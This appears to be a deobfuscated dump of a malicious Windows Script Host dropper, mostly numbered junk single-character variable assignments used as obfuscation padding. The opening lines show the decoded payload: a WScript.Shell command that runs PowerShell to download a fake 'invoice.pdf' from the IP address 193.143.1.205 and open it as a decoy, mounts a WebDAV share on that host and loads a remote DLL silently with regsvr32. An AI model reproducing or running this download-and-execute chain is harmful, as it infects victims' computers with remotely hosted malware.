mhjlu + jdawoxmss + gqthg + cxzjiy + xvtmzza + jdawoxmss + gqthg + cxzjiy + gqthg + woldvpi + jyezpoci + nrnvfbnr + uhdczi + pjmfczcb + pjmfczcb + pjmfczcb + pjmfczcb + tpefgd + worlputm + eqzxcj + cmvahf + aqyth + aqyth + aqyth + tucergb + xrqlwnwu + xrqlwnwu + qwbgqgh + tpefgd + jdawoxmss + cxzjiy + qenimy + dpjiqvxjq + mhjlu + woldvpi + jyezpoci + nrnvfbnr + woldvpi + jdawoxmss + jdawoxmss + jdawoxmss + nrnvfbnr + gqthg + worlputm + kjwwxx + kjwwxx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll",0,false) ➔ 0
14	}
15	giixmhjh = "A";
16	giixmhjh = "p";
17	giixmhjh = "H";
18	giixmhjh = "V";
19	giixmhjh = "b";
20	giixmhjh = "R";
21	giixmhjh = "i";
22	giixmhjh = "N";
23	giixmhjh = "h";
24	giixmhjh = "R";
25	giixmhjh = "b";
26	giixmhjh = "d";
27	giixmhjh = "i";
28	giixmhjh = "h";
29	giixmhjh = "B";
30	giixmhjh = "j";
31	utsnoh = "z";
32	utsnoh = "F";
33	utsnoh = "O";
34	utsnoh = "D";
35	utsnoh = "b";
36	utsnoh = "c";
37	utsnoh = "r";
38	utsnoh = "g";
39	utsnoh = "H";
40	utsnoh = "w";
41	utsnoh = "z";
42	utsnoh = "k";
43	utsnoh = "t";
44	utsnoh = "H";
45	utsnoh = "g";
46	utsnoh = "h";
47	utsnoh = "U";
48	utsnoh = "P";
49	utsnoh = "V";
50	utsnoh = "v";
51	utsnoh = "V";
52	utsnoh = "V";
53	utsnoh = "c";
54	utsnoh = "M";
55	utsnoh = "p";
56	utsnoh = "L";
57	utsnoh = "m";
58	utsnoh = "e";
59	utsnoh = "g";
60	utsnoh = "l";
61	utsnoh = "A";
62	utsnoh = "x";
63	utsnoh = "n";
64	utsnoh = "s";
65	utsnoh = "n";
66	utsnoh = "W";
67	utsnoh = "a";
68	utsnoh = "Z";
69	utsnoh = "V";
70	utsnoh = "Y";
71	utsnoh = "n";
72	utsnoh = "m";
73	folbtpnel = "Z";
74	folbtpnel = "A";
75	folbtpnel = "y";
76	folbtpnel = "L";
77	folbtpnel = "j";
78	folbtpnel = ":";
79	bjllc = "R";
80	bjllc = "x";
81	bjllc = "V";
82	bjllc = "I";
83	bjllc = "q";
84	bjllc = "Q";
85	bjllc = "f";
86	bjllc = "E";
87	bjllc = "w";
88	bjllc = "s";
89	bjllc = "p";
90	bjllc = "T";
91	bjllc = "h";
92	bjllc = "s";
93	bjllc = "P";
94	bjllc = "d";
95	bjllc = "x";
96	bjllc = "E";
97	bjllc = "Z";
98	bjllc = "S";
99	bjllc = "w";
100	bjllc = "S";
101	qwbgqgh = "Q";
102	qwbgqgh = "S";
103	qwbgqgh = "t";
104	qwbgqgh = "J";
105	qwbgqgh = "v";
106	qwbgqgh = "Q";
107	qwbgqgh = "I";
108	qwbgqgh = "g";
109	qwbgqgh = "L";
110	qwbgqgh = "q";
111	qwbgqgh = "t";
112	dpjiqvxjq = "u";
113	dpjiqvxjq = "L";
114	dpjiqvxjq = "A";
115	dpjiqvxjq = "j";
116	dpjiqvxjq = "A";
117	dpjiqvxjq = "p";
118	dpjiqvxjq = "Y";
119	dpjiqvxjq = "o";
120	dpjiqvxjq = "H";
121	dpjiqvxjq = "r";
122	dpjiqvxjq = "k";
123	dpjiqvxjq = "t";
124	dpjiqvxjq = "h";
125	dpjiqvxjq = "G";
126	dpjiqvxjq = "B";
127	dpjiqvxjq = "t";
128	dpjiqvxjq = "g";
129	dpjiqvxjq = "r";
130	dpjiqvxjq = "G";
131	dpjiqvxjq = "k";
132	dpjiqvxjq = "C";
133	dpjiqvxjq = "a";
134	dpjiqvxjq = "k";
135	dpjiqvxjq = "P";
136	dpjiqvxjq = "X";
137	dpjiqvxjq = "k";
138	dpjiqvxjq = "7";
139	kzunzjnn = "a";
140	kzunzjnn = "X";
141	kzunzjnn = "P";
142	kzunzjnn = "T";
143	kzunzjnn = "p";
144	kzunzjnn = "m";
145	kzunzjnn = "v";
146	kzunzjnn = "P";
147	kzunzjnn = "R";
148	kzunzjnn = "h";
149	tucergb = "D";
150	tucergb = "O";
151	tucergb = "Y";
152	tucergb = "N";
153	tucergb = "F";
154	tucergb = "S";
155	tucergb = "j";
156	tucergb = "M";
157	tucergb = "n";
158	tucergb = "A";
159	tucergb = "P";
160	tucergb = "H";
161	tucergb = "P";
162	tucergb = "U";
163	tucergb = "W";
164	tucergb = "t";
165	tucergb = "w";
166	tucergb = "b";
167	tucergb = "p";
168	tucergb = "J";
169	tucergb = "w";
170	tucergb = "I";
171	tucergb = "Y";
172	tucergb = "r";
173	uzbqie = "z";
174	uzbqie = "P";
175	uzbqie = "d";
176	uzbqie = "d";
177	uzbqie = "B";
178	uzbqie = "A";
179	uzbqie = "q";
180	uzbqie = "B";
181	uzbqie = "K";
182	uzbqie = "N";
183	uzbqie = "j";
184	uzbqie = "Y";
185	uzbqie = "Z";
186	uzbqie = "R";
187	uzbqie = "U";
188	uzbqie = "Z";
189	uzbqie = "x";
190	uzbqie = "u";
191	uzbqie = "R";
192	uzbqie = "X";
193	uzbqie = "c";
194	uzbqie = "Q";
195	uzbqie = "u";
196	fzacjwbns = "f";
197	fzacjwbns = "p";
198	fzacjwbns = "n";
199	fzacjwbns = "f";
200	fzacjwbns = "m";
201	fzacjwbns = "e";
202	fzacjwbns = "f";
203	fzacjwbns = "s";
204	fzacjwbns = "X";
205	fzacjwbns = "M";
206	fzacjwbns = "g";
207	fzacjwbns = "Y";
208	fzacjwbns = "n";
209	fzacjwbns = "H";
210	fzacjwbns = "V";
211	fzacjwbns = "w";
212	fzacjwbns = "g";
213	fzacjwbns = "d";
214	fzacjwbns = "z";
215	fzacjwbns = "w";
216	fzacjwbns = "D";
217	fzacjwbns = "E";
218	fzacjwbns = "M";
219	fzacjwbns = "y";
220	fzacjwbns = "k";
221	fzacjwbns = "r";
222	fzacjwbns = "n";
223	fzacjwbns = "L";
224	fzacjwbns = "K";
225	fzacjwbns = "u";
226	fzacjwbns = "h";
227	fzacjwbns = "T";
228	fzacjwbns = "c";
229	fzacjwbns = "N";
230	fzacjwbns = "Q";
231	fzacjwbns = "b";
232	fzacjwbns = "m";
233	fzacjwbns = "J";
234	fzacjwbns = "Y";
235	fzacjwbns = "P";
236	fzacjwbns = "&";
237	jixgva = "C";
238	pwdsdnk = "x";
239	pwdsdnk = "w";
240	pwdsdnk = "d";
241	pwdsdnk = "W";
242	pwdsdnk = "g";
243	pwdsdnk = "s";
244	pwdsdnk = "h";
245	pwdsdnk = "U";
246	pwdsdnk = "H";
247	pwdsdnk = "g";
248	pwdsdnk = "G";
249	pwdsdnk = "b";
250	pwdsdnk = "M";
251	pwdsdnk = "j";
252	pwdsdnk = "m";
253	pwdsdnk = "B";
254	pwdsdnk = "F";
255	pwdsdnk = "Q";
256	pwdsdnk = "g";
257	pwdsdnk = "-";
258	owpvtlw = "y";
259	owpvtlw = "x";
260	owpvtlw = "b";
261	owpvtlw = "y";
262	owpvtlw = "L";
263	owpvtlw = "b";
264	owpvtlw = "r";
265	owpvtlw = "x";
266	owpvtlw = "r";
267	owpvtlw = "h";
268	owpvtlw = "A";
269	owpvtlw = "U";
270	owpvtlw = "B";
271	owpvtlw = "W";
272	owpvtlw = "u";
273	owpvtlw = "o";
274	owpvtlw = "U";
275	owpvtlw = "N";
276	owpvtlw = "a";
277	owpvtlw = "n";
278	owpvtlw = "q";
279	owpvtlw = "u";
280	owpvtlw = "a";
281	owpvtlw = "a";
282	owpvtlw = "x";
283	owpvtlw = "Z";
284	owpvtlw = "Z";
285	owpvtlw = "s";
286	owpvtlw = "i";
287	owpvtlw = "P";
288	owpvtlw = "T";
289	owpvtlw = "N";
290	owpvtlw = "o";
291	owpvtlw = "P";
292	owpvtlw = "M";
293	owpvtlw = "i";
294	owpvtlw = "b";
295	owpvtlw = "n";
296	owpvtlw = "y";
297	owpvtlw = "C";
298	owpvtlw = "H";
299	jdawoxmss = "V";
300	jdawoxmss = "Z";
301	jdawoxmss = "e";
302	jdawoxmss = "S";
303	jdawoxmss = "Z";
304	jdawoxmss = "3";
305	pravjjndn = "l";
306	pravjjndn = "M";
307	pravjjndn = "y";
308	pravjjndn = "d";
309	pravjjndn = "e";
310	pravjjndn = "Q";
311	pravjjndn = "E";
312	pravjjndn = "j";
313	pravjjndn = "c";
314	pravjjndn = "R";
315	pravjjndn = "j";
316	pravjjndn = "e";
317	pravjjndn = "K";
318	pravjjndn = "s";
319	pravjjndn = "b";
320	pravjjndn = "y";
321	pravjjndn = "q";
322	pravjjndn = "n";
323	pravjjndn = "L";
324	pravjjndn = "T";
325	pravjjndn = "U";
326	pravjjndn = "p";
327	pravjjndn = "c";
328	pravjjndn = "z";
329	pravjjndn = "X";
330	pravjjndn = "l";
331	pravjjndn = "i";
332	pravjjndn = "V";
333	pravjjndn = "G";
334	pravjjndn = "O";
335	pravjjndn = "Q";
336	pravjjndn = "H";
337	pravjjndn = "A";
338	pravjjndn = "n";
339	pravjjndn = "H";
340	pravjjndn = "U";
341	pravjjndn = "P";
342	pravjjndn = "X";
343	pravjjndn = "N";
344	pravjjndn = "d";
345	pravjjndn = "x";
346	ppehwzyw = "g";
347	ppehwzyw = "b";
348	ppehwzyw = "B";
349	ppehwzyw = "T";
350	ppehwzyw = "A";
351	ppehwzyw = "J";
352	ppehwzyw = "s";
353	ppehwzyw = "C";
354	ppehwzyw = "Q";
355	ppehwzyw = "u";
356	ppehwzyw = "N";
357	ppehwzyw = "Z";
358	ppehwzyw = "p";
359	ppehwzyw = "u";
360	ppehwzyw = "g";
361	ppehwzyw = "j";
362	ppehwzyw = "R";
363	ppehwzyw = "%";
364	qenimy = "z";
365	qenimy = "H";
366	qenimy = "l";
367	qenimy = "s";
368	qenimy = "L";
369	qenimy = "O";
370	qenimy = "q";
371	qenimy = "B";
372	qenimy = "k";
373	qenimy = "W";
374	qenimy = "q";
375	qenimy = "n";
376	qenimy = "L";
377	qenimy = "L";
378	qenimy = "O";
379	qenimy = "i";
380	qenimy = "N";
381	qenimy = "R";
382	qenimy = "V";
383	qenimy = "c";
384	qenimy = "P";
385	qenimy = "M";
386	qenimy = "h";
387	qenimy = "I";
388	qenimy = "l";
389	qenimy = "b";
390	qenimy = "F";
391	qenimy = "j";
392	qenimy = "p";
393	qenimy = "B";
394	qenimy = "z";
395	qenimy = "b";
396	qenimy = "T";
397	qenimy = "X";
398	qenimy = "F";
399	qenimy = "z";
400	qenimy = "T";
401	qenimy = "z";
402	qenimy = "u";
403	qenimy = "e";
404	qenimy = "t";
405	qenimy = "n";
406	qenimy = "6";
407	tywhtahw = "Z";
408	tywhtahw = "z";
409	tywhtahw = "H";
410	tywhtahw = "Z";
411	tywhtahw = "Y";
412	tywhtahw = "K";
413	tywhtahw = "t";
414	tywhtahw = "j";
415	tywhtahw = "h";
416	tywhtahw = "P";
417	tywhtahw = "w";
418	tywhtahw = "U";
419	tywhtahw = "Z";
420	tywhtahw = "S";
421	tywhtahw = "Q";
422	tywhtahw = "n";
423	tywhtahw = "T";
424	tywhtahw = "x";
425	tywhtahw = "G";
426	tywhtahw = "q";
427	tywhtahw = "i";
428	tywhtahw = "O";
429	tywhtahw = "l";
430	tywhtahw = "o";
431	tywhtahw = "I";
432	tywhtahw = "r";
433	tywhtahw = "h";
434	tywhtahw = "N";
435	tywhtahw = "y";
436	tywhtahw = "E";
437	tywhtahw = "k";
438	tywhtahw = "A";
439	tywhtahw = "R";
440	tywhtahw = "F";
441	tywhtahw = "k";
442	tywhtahw = "H";
443	tywhtahw = "l";
444	tywhtahw = "K";
445	tywhtahw = "y";
446	tywhtahw = "t";
447	tywhtahw = "x";
448	tywhtahw = "k";
449	cxzjiy = "d";
450	cxzjiy = "S";
451	cxzjiy = "u";
452	cxzjiy = "U";
453	cxzjiy = "Q";
454	cxzjiy = "O";
455	cxzjiy = "v";
456	cxzjiy = "d";
457	cxzjiy = "P";
458	cxzjiy = "n";
459	cxzjiy = "y";
460	cxzjiy = "f";
461	cxzjiy = "Y";
462	cxzjiy = "j";
463	cxzjiy = "a";
464	cxzjiy = "L";
465	cxzjiy = "O";
466	cxzjiy = "O";
467	cxzjiy = "g";
468	cxzjiy = "t";
469	cxzjiy = "A";
470	cxzjiy = "M";
471	cxzjiy = "f";
472	cxzjiy = "S";
473	cxzjiy = "v";
474	cxzjiy = "o";
475	cxzjiy = "n";
476	cxzjiy = "B";
477	cxzjiy = "a";
478	cxzjiy = "c";
479	cxzjiy = "h";
480	cxzjiy = "V";
481	cxzjiy = "C";
482	cxzjiy = "J";
483	cxzjiy = "W";
484	cxzjiy = "k";
485	cxzjiy = "N";
486	cxzjiy = "A";
487	cxzjiy = "1";
488	fwamu = "g";
489	fwamu = "E";
490	fwamu = "H";
491	fwamu = "b";
492	fwamu = "T";
493	fwamu = "c";
494	fwamu = "h";
495	fwamu = "o";
496	fwamu = "J";
497	fwamu = "l";
498	fwamu = "w";
499	fwamu = "H";
500	fwamu = "d";
501	fwamu = "z";
502	fwamu = "W";
503	fwamu = "s";
504	fwamu = "x";
505	fwamu = "f";
506	fwamu = "M";
507	fwamu = "V";
508	fwamu = "O";
509	fwamu = "O";
510	fwamu = "X";
511	fwamu = "D";
512	fwamu = "U";
513	fwamu = "r";
514	fwamu = "Q";
515	fwamu = "H";
516	fwamu = "I";
517	fwamu = "k";
518	fwamu = "T";
519	fwamu = "y";
520	fwamu = "R";
521	fwamu = "J";
522	fwamu = "c";
523	pjmfczcb = "M";
524	pjmfczcb = "N";
525	pjmfczcb = "A";
526	pjmfczcb = "H";
527	pjmfczcb = "M";
528	pjmfczcb = "b";
529	pjmfczcb = "w";
530	pjmfczcb = "w";
531	pjmfczcb = "J";
532	pjmfczcb = "r";
533	pjmfczcb = "I";
534	pjmfczcb = "Z";
535	pjmfczcb = "C";
536	pjmfczcb = "c";
537	pjmfczcb = "t";
538	pjmfczcb = "S";
539	pjmfczcb = "r";
540	pjmfczcb = "O";
541	pjmfczcb = "y";
542	pjmfczcb = "s";
543	pjmfczcb = "R";
544	pjmfczcb = "Y";
545	pjmfczcb = "R";
546	pjmfczcb = "s";
547	pjmfczcb = "W";
548	pjmfczcb = "v";
549	pjmfczcb = "V";
550	pjmfczcb = "o";
551	pjmfczcb = "Y";
552	pjmfczcb = "8";
553	redkwgkt = "x";
554	redkwgkt = "U";
555	redkwgkt = "e";
556	redkwgkt = "r";
557	redkwgkt = "p";
558	woldvpi = "w";
559	woldvpi = "I";
560	woldvpi = "G";
561	woldvpi = "r";
562	woldvpi = "Y";
563	woldvpi = "m";
564	woldvpi = "V";
565	woldvpi = "N";
566	woldvpi = "H";
567	woldvpi = "U";
568	woldvpi = "K";
569	woldvpi = "w";
570	woldvpi = "a";
571	woldvpi = "z";
572	woldvpi = "u";
573	woldvpi = "P";
574	woldvpi = "r";
575	woldvpi = "v";
576	woldvpi = "Y";
577	woldvpi = "m";
578	woldvpi = "w";
579	woldvpi = "U";
580	woldvpi = "m";
581	woldvpi = "e";
582	woldvpi = "v";
583	woldvpi = "W";
584	woldvpi = "j";
585	woldvpi = "D";
586	woldvpi = "v";
587	woldvpi = "K";
588	woldvpi = "x";
589	woldvpi = "I";
590	woldvpi = "p";
591	woldvpi = "q";
592	woldvpi = "Y";
593	woldvpi = "y";
594	woldvpi = "S";
595	woldvpi = "y";
596	woldvpi = "j";
597	woldvpi = "T";
598	woldvpi = "2";
599	gkewrj = "R";
600	gkewrj = "v";
601	gkewrj = "A";
602	gkewrj = "I";
603	gkewrj = "M";
604	gkewrj = "X";
605	gkewrj = "O";
606	gkewrj = "Y";
607	gkewrj = "z";
608	gkewrj = "q";
609	gkewrj = "x";
610	gkewrj = "p";
611	gkewrj = "V";
612	gkewrj = "x";
613	gkewrj = "r";
614	gkewrj = "m";
615	gkewrj = "y";
616	gkewrj = "I";
617	gkewrj = "c";
618	gkewrj = "W";
619	gkewrj = "t";
620	gkewrj = "m";
621	gkewrj = "e";
622	gkewrj = "e";
623	gkewrj = "M";
624	gkewrj = "w";
625	gkewrj = "Q";
626	gkewrj = "G";
627	gkewrj = "L";
628	gkewrj = "M";
629	gkewrj = "Z";
630	gkewrj = "H";
631	gkewrj = "m";
632	gkewrj = "N";
633	gkewrj = "o";
634	gkewrj = "n";
635	gkewrj = "h";
636	gkewrj = "P";
637	gkewrj = "d";
638	gkewrj = "a";
639	gkewrj = "Y";
640	gkewrj = "C";
641	gkewrj = "Y";
642	jtwzuxys = "J";
643	jtwzuxys = "M";
644	jtwzuxys = "H";
645	jtwzuxys = "G";
646	jtwzuxys = "h";
647	jtwzuxys = "P";
648	jtwzuxys = "t";
649	jtwzuxys = "f";
650	jtwzuxys = "G";
651	jtwzuxys = "D";
652	jtwzuxys = "V";
653	jtwzuxys = "i";
654	jtwzuxys = "G";
655	jtwzuxys = "G";
656	jtwzuxys = "m";
657	jtwzuxys = "g";
658	jtwzuxys = "Y";
659	jtwzuxys = "n";
660	jtwzuxys = "s";
661	jtwzuxys = "V";
662	jtwzuxys = "U";
663	jtwzuxys = "n";
664	jtwzuxys = "w";
665	jtwzuxys = "k";
666	jtwzuxys = "O";
667	jtwzuxys = "O";
668	jtwzuxys = "B";
669	jtwzuxys = "f";
670	jtwzuxys = "l";
671	jtwzuxys = "/";
672	lnphnzwmb = "T";
673	lnphnzwmb = "H";
674	lnphnzwmb = "q";
675	lnphnzwmb = "d";
676	lnphnzwmb = "F";
677	lnphnzwmb = "l";
678	lnphnzwmb = "D";
679	lnphnzwmb = "u";
680	lnphnzwmb = "z";
681	lnphnzwmb = "I";
682	lnphnzwmb = "p";
683	lnphnzwmb = "M";
684	lnphnzwmb = "X";
685	lnphnzwmb = "x";
686	lnphnzwmb = "p";
687	lnphnzwmb = "K";
688	lnphnzwmb = "S";
689	lnphnzwmb = "K";
690	lnphnzwmb = "R";
691	lnphnzwmb = "K";
692	lnphnzwmb = "H";
693	lnphnzwmb = "k";
694	lnphnzwmb = "S";
695	lnphnzwmb = "b";
696	lnphnzwmb = "o";
697	lnphnzwmb = "U";
698	lnphnzwmb = "g";
699	lnphnzwmb = "f";
700	lnphnzwmb = "z";
701	lnphnzwmb = "T";
702	lnphnzwmb = "x";
703	lnphnzwmb = "r";
704	lnphnzwmb = "A";
705	lnphnzwmb = "e";
706	mhjlu = "G";
707	mhjlu = "b";
708	mhjlu = "U";
709	mhjlu = "k";
710	mhjlu = "z";
711	mhjlu = "h";
712	mhjlu = "K";
713	mhjlu = "J";
714	mhjlu = "R";
715	mhjlu = "P";
716	mhjlu = "H";
717	mhjlu = "o";
718	mhjlu = "B";
719	mhjlu = "A";
720	mhjlu = "V";
721	mhjlu = "r";
722	mhjlu = "v";
723	mhjlu = "W";
724	mhjlu = "Y";
725	mhjlu = "x";
726	mhjlu = "X";
727	mhjlu = "O";
728	mhjlu = "N";
729	mhjlu = "m";
730	mhjlu = "i";
731	mhjlu = "H";
732	mhjlu = "X";
733	mhjlu = "G";
734	mhjlu = "T";
735	mhjlu = "b";
736	mhjlu = "U";
737	mhjlu = "V";
738	mhjlu = "L";
739	mhjlu = "9";
740	tzmnzikn = "I";
741	tzmnzikn = "s";
742	tzmnzikn = "p";
743	tzmnzikn = "o";
744	tzmnzikn = "y";
745	tzmnzikn = "i";
746	tzmnzikn = "o";
747	tzmnzikn = "N";
748	tzmnzikn = "F";
749	tzmnzikn = "a";
750	tzmnzikn = "e";
751	tzmnzikn = "b";
752	tzmnzikn = "u";
753	tzmnzikn = "G";
754	tzmnzikn = "Z";
755	tzmnzikn = "b";
756	tzmnzikn = "Y";
757	tzmnzikn = "I";
758	tzmnzikn = "m";
759	tzmnzikn = "m";
760	tzmnzikn = "T";
761	tzmnzikn = "g";
762	tzmnzikn = "K";
763	tzmnzikn = "T";
764	tzmnzikn = "O";
765	tzmnzikn = "X";
766	tzmnzikn = "Y";
767	tzmnzikn = "L";
768	tzmnzikn = "Y";
769	tzmnzikn = "v";
770	tzmnzikn = "s";
771	tzmnzikn = "x";
772	tzmnzikn = "V";
773	tzmnzikn = "L";
774	tzmnzikn = "y";
775	tzmnzikn = "E";
776	tzmnzikn = "j";
777	tzmnzikn = "C";
778	tzmnzikn = "L";
779	lewujdp = "Q";
780	lewujdp = "o";
781	lewujdp = "H";
782	lewujdp = "T";
783	rrpvqun = "K";
784	rrpvqun = "h";
785	rrpvqun = "r";
786	rrpvqun = "b";
787	rrpvqun = "H";
788	rrpvqun = "P";
789	rrpvqun = "J";
790	rrpvqun = "m";
791	rrpvqun = "X";
792	rrpvqun = "w";
793	rrpvqun = "L";
794	rrpvqun = "G";
795	rrpvqun = "l";
796	rrpvqun = "l";
797	rrpvqun = "j";
798	rrpvqun = "r";
799	rrpvqun = "k";
800	rrpvqun = "e";
801	rrpvqun = "X";
802	rrpvqun = "N";
803	rrpvqun = "U";
804	rrpvqun = "A";
805	rrpvqun = "e";
806	rrpvqun = "O";
807	rrpvqun = "X";
808	rrpvqun = "L";
809	rrpvqun = "U";
810	rrpvqun = "g";
811	rrpvqun = "S";
812	rrpvqun = "v";
813	rrpvqun = "U";
814	rrpvqun = "m";
815	rrpvqun = "W";
816	wtgakzwsq = "Z";
817	wtgakzwsq = "H";
818	wtgakzwsq = "P";
819	wtgakzwsq = "j";
820	wtgakzwsq = "D";
821	wtgakzwsq = "v";
822	wtgakzwsq = "T";
823	wtgakzwsq = "K";
824	wtgakzwsq = "M";
825	wtgakzwsq = "k";
826	wtgakzwsq = "r";
827	wtgakzwsq = "H";
828	wtgakzwsq = "U";
829	wtgakzwsq = "B";
830	wtgakzwsq = "a";
831	wtgakzwsq = "l";
832	wtgakzwsq = "r";
833	wtgakzwsq = "X";
834	wtgakzwsq = "a";
835	wtgakzwsq = "N";
836	wasnbczbb = "N";
837	wasnbczbb = "a";
838	wasnbczbb = "O";
839	wasnbczbb = "m";
840	wasnbczbb = "r";
841	wasnbczbb = "Q";
842	wasnbczbb = "p";
843	wasnbczbb = "U";
844	mqeepdrxl = "K";
845	mqeepdrxl = "f";
846	mqeepdrxl = "W";
847	mqeepdrxl = "M";
848	mqeepdrxl = "G";
849	mqeepdrxl = "W";
850	mqeepdrxl = "A";
851	mqeepdrxl = "w";
852	mqeepdrxl = "Q";
853	mqeepdrxl = "J";
854	mqeepdrxl = "V";
855	mqeepdrxl = "Q";
856	mqeepdrxl = "J";
857	mqeepdrxl = "X";
858	mqeepdrxl = "W";
859	mqeepdrxl = "R";
860	mqeepdrxl = "A";
861	mqeepdrxl = "I";
862	mqeepdrxl = "U";
863	mqeepdrxl = "r";
864	mqeepdrxl = "b";
865	mqeepdrxl = "v";
866	mqeepdrxl = "T";
867	mqeepdrxl = "K";
868	nhvdrxub = "W";
869	nhvdrxub = "Q";
870	nhvdrxub = "C";
871	nhvdrxub = "J";
872	nhvdrxub = "x";
873	nhvdrxub = "h";
874	nhvdrxub = "r";
875	nhvdrxub = "q";
876	nhvdrxub = "B";
877	nhvdrxub = "x";
878	nhvdrxub = "Y";
879	nhvdrxub = "s";
880	nhvdrxub = "x";
881	nhvdrxub = "\"";
882	uuunybn = "O";
883	uuunybn = "O";
884	uuunybn = "g";
885	uuunybn = "T";
886	uuunybn = "a";
887	uuunybn = "I";
888	uuunybn = "R";
889	uuunybn = "H";
890	uuunybn = "f";
891	uuunybn = "X";
892	uuunybn = "L";
893	uuunybn = "Y";
894	uuunybn = "j";
895	uuunybn = "C";
896	uuunybn = "Q";
897	uuunybn = "Z";
898	uuunybn = "D";
899	uuunybn = "X";
900	uuunybn = "_";
901	cmvahf = "s";
902	cmvahf = "m";
903	cmvahf = "U";
904	cmvahf = "V";
905	cmvahf = "Z";
906	cmvahf = "v";
907	cmvahf = "k";
908	cmvahf = "d";
909	cmvahf = "u";
910	cmvahf = "C";
911	cmvahf = "J";
912	cmvahf = "H";
913	cmvahf = "r";
914	cmvahf = "Y";
915	cmvahf = "t";
916	cmvahf = "a";
917	cmvahf = "h";
918	cmvahf = "L";
919	cmvahf = "V";
920	cmvahf = "a";
921	cmvahf = "X";
922	cmvahf = "e";
923	cmvahf = "C";
924	cmvahf = "J";
925	cmvahf = "Y";
926	cmvahf = "b";
927	cmvahf = "u";
928	cmvahf = "R";
929	cmvahf = "d";
930	cmvahf = "Q";
931	cmvahf = "X";
932	cmvahf = "j";
933	cmvahf = "c";
934	cmvahf = "m";
935	cmvahf = "J";
936	cmvahf = "v";
937	nrnvfbnr = "i";
938	nrnvfbnr = "K";
939	nrnvfbnr = "f";
940	nrnvfbnr = "I";
941	nrnvfbnr = "c";
942	nrnvfbnr = "q";
943	nrnvfbnr = "l";
944	nrnvfbnr = "H";
945	nrnvfbnr = "T";
946	nrnvfbnr = "b";
947	nrnvfbnr = "l";
948	nrnvfbnr = "l";
949	nrnvfbnr = "z";
950	nrnvfbnr = "5";
951	gqthg = "L";
952	gqthg = "f";
953	gqthg = "g";
954	gqthg = "z";
955	gqthg = "Y";
956	gqthg = "M";
957	gqthg = "V";
958	gqthg = "j";
959	gqthg = "R";
960	gqthg = "O";
961	gqthg = "J";
962	gqthg = "g";
963	gqthg = "U";
964	gqthg = "T";
965	gqthg = "M";
966	gqthg = "N";
967	gqthg = "j";
968	gqthg = "j";
969	gqthg = "t";
970	gqthg = "K";
971	gqthg = "m";
972	gqthg = "O";
973	gqthg = "b";
974	gqthg = "F";
975	gqthg = "p";
976	gqthg = "X";
977	gqthg = "e";
978	gqthg = "h";
979	gqthg = "E";
980	gqthg = "R";
981	gqthg = "w";
982	gqthg = "b";
983	gqthg = "p";
984	gqthg = "F";
985	gqthg = "F";
986	gqthg = "a";
987	gqthg = ".";
988	fltdvsip = "F";
989	fltdvsip = "R";
990	fltdvsip = "c";
991	fltdvsip = "c";
992	fltdvsip = "i";
993	fltdvsip = "v";
994	fltdvsip = "p";
995	fltdvsip = "O";
996	fltdvsip = "w";
997	fltdvsip = "Z";
998	fltdvsip = "F";
999	fltdvsip = "K";
1000	fltdvsip = "c";
1001	fltdvsip = "d";
1002	fltdvsip = "d";
1003	fltdvsip = "y";
1004	fltdvsip = "u";
1005	fltdvsip = "w";
1006	fltdvsip = "c";
1007	fltdvsip = "o";
1008	fltdvsip = "P";
1009	fltdvsip = "e";
1010	fltdvsip = "F";
1011	fltdvsip = "d";
1012	fltdvsip = "G";
1013	fltdvsip = "T";
1014	fltdvsip = "y";
1015	fltdvsip = "H";
1016	fltdvsip = "Z";
1017	fltdvsip = "I";
1018	hofxfltq = "Y";
1019	hofxfltq = "L";
1020	hofxfltq = "z";
1021	hofxfltq = "H";
1022	hofxfltq = "r";
1023	hofxfltq = "X";
1024	hofxfltq = "G";
1025	hofxfltq = "d";
1026	hofxfltq = "W";
1027	hofxfltq = "o";
1028	hofxfltq = "h";
1029	hofxfltq = "H";
1030	hofxfltq = "s";
1031	resae = "I";
1032	resae = "r";
1033	resae = "l";
1034	resae = "E";
1035	resae = "r";
1036	resae = "E";
1037	resae = "Z";
1038	resae = "x";
1039	resae = "k";
1040	resae = "P";
1041	resae = "u";
1042	resae = "s";
1043	resae = "J";
1044	resae = "G";
1045	resae = "G";
1046	resae = "a";
1047	resae = "Q";
1048	resae = "u";
1049	resae = "Z";
1050	resae = "M";
1051	resae = "q";
1052	resae = "i";
1053	resae = "n";
1054	resae = "M";
1055	resae = "y";
1056	resae = "k";
1057	resae = "w";
1058	resae = "u";
1059	resae = "B";
1060	resae = "k";
1061	resae = "v";
1062	resae = "F";
1063	resae = "l";
1064	resae = "I";
1065	resae = "Y";
1066	resae = "H";
1067	resae = "u";
1068	resae = "d";
1069	resae = "u";
1070	resae = "l";
1071	resae = "V";
1072	resae = "g";
1073	jqsuqowr = "Z";
1074	jqsuqowr = "T";
1075	jqsuqowr = "X";
1076	jqsuqowr = "o";
1077	jqsuqowr = "K";
1078	jqsuqowr = "h";
1079	jqsuqowr = "G";
1080	jqsuqowr = "t";
1081	jqsuqowr = "P";
1082	jqsuqowr = "B";
1083	jqsuqowr = "l";
1084	jqsuqowr = "U";
1085	jqsuqowr = "W";
1086	jqsuqowr = "o";
1087	jqsuqowr = "Z";
1088	jqsuqowr = "e";
1089	jqsuqowr = "A";
1090	jqsuqowr = "m";
1091	jqsuqowr = "y";
1092	jqsuqowr = "Y";
1093	jqsuqowr = "r";
1094	jqsuqowr = "T";
1095	jqsuqowr = "N";
1096	jqsuqowr = "q";
1097	jqsuqowr = "f";
1098	ljxhxszy = "j";
1099	ljxhxszy = "R";
1100	ljxhxszy = "D";
1101	ljxhxszy = "g";
1102	ljxhxszy = "m";
1103	ljxhxszy = "E";
1104	ljxhxszy = "P";
1105	ljxhxszy = "l";
1106	ljxhxszy = "F";
1107	ljxhxszy = "L";
1108	ljxhxszy = "L";
1109	ljxhxszy = "I";
1110	ljxhxszy = "v";
1111	ljxhxszy = "K";
1112	ljxhxszy = "b";
1113	ljxhxszy = "f";
1114	ljxhxszy = "J";
1115	ljxhxszy = "Y";
1116	ljxhxszy = "D";
1117	ljxhxszy = "m";
1118	ljxhxszy = "E";
1119	ljxhxszy = "V";
1120	ljxhxszy = "F";
1121	jyezpoci = "B";
1122	jyezpoci = "L";
1123	jyezpoci = "h";
1124	jyezpoci = "L";
1125	jyezpoci = "Z";
1126	jyezpoci = "w";
1127	jyezpoci = "R";
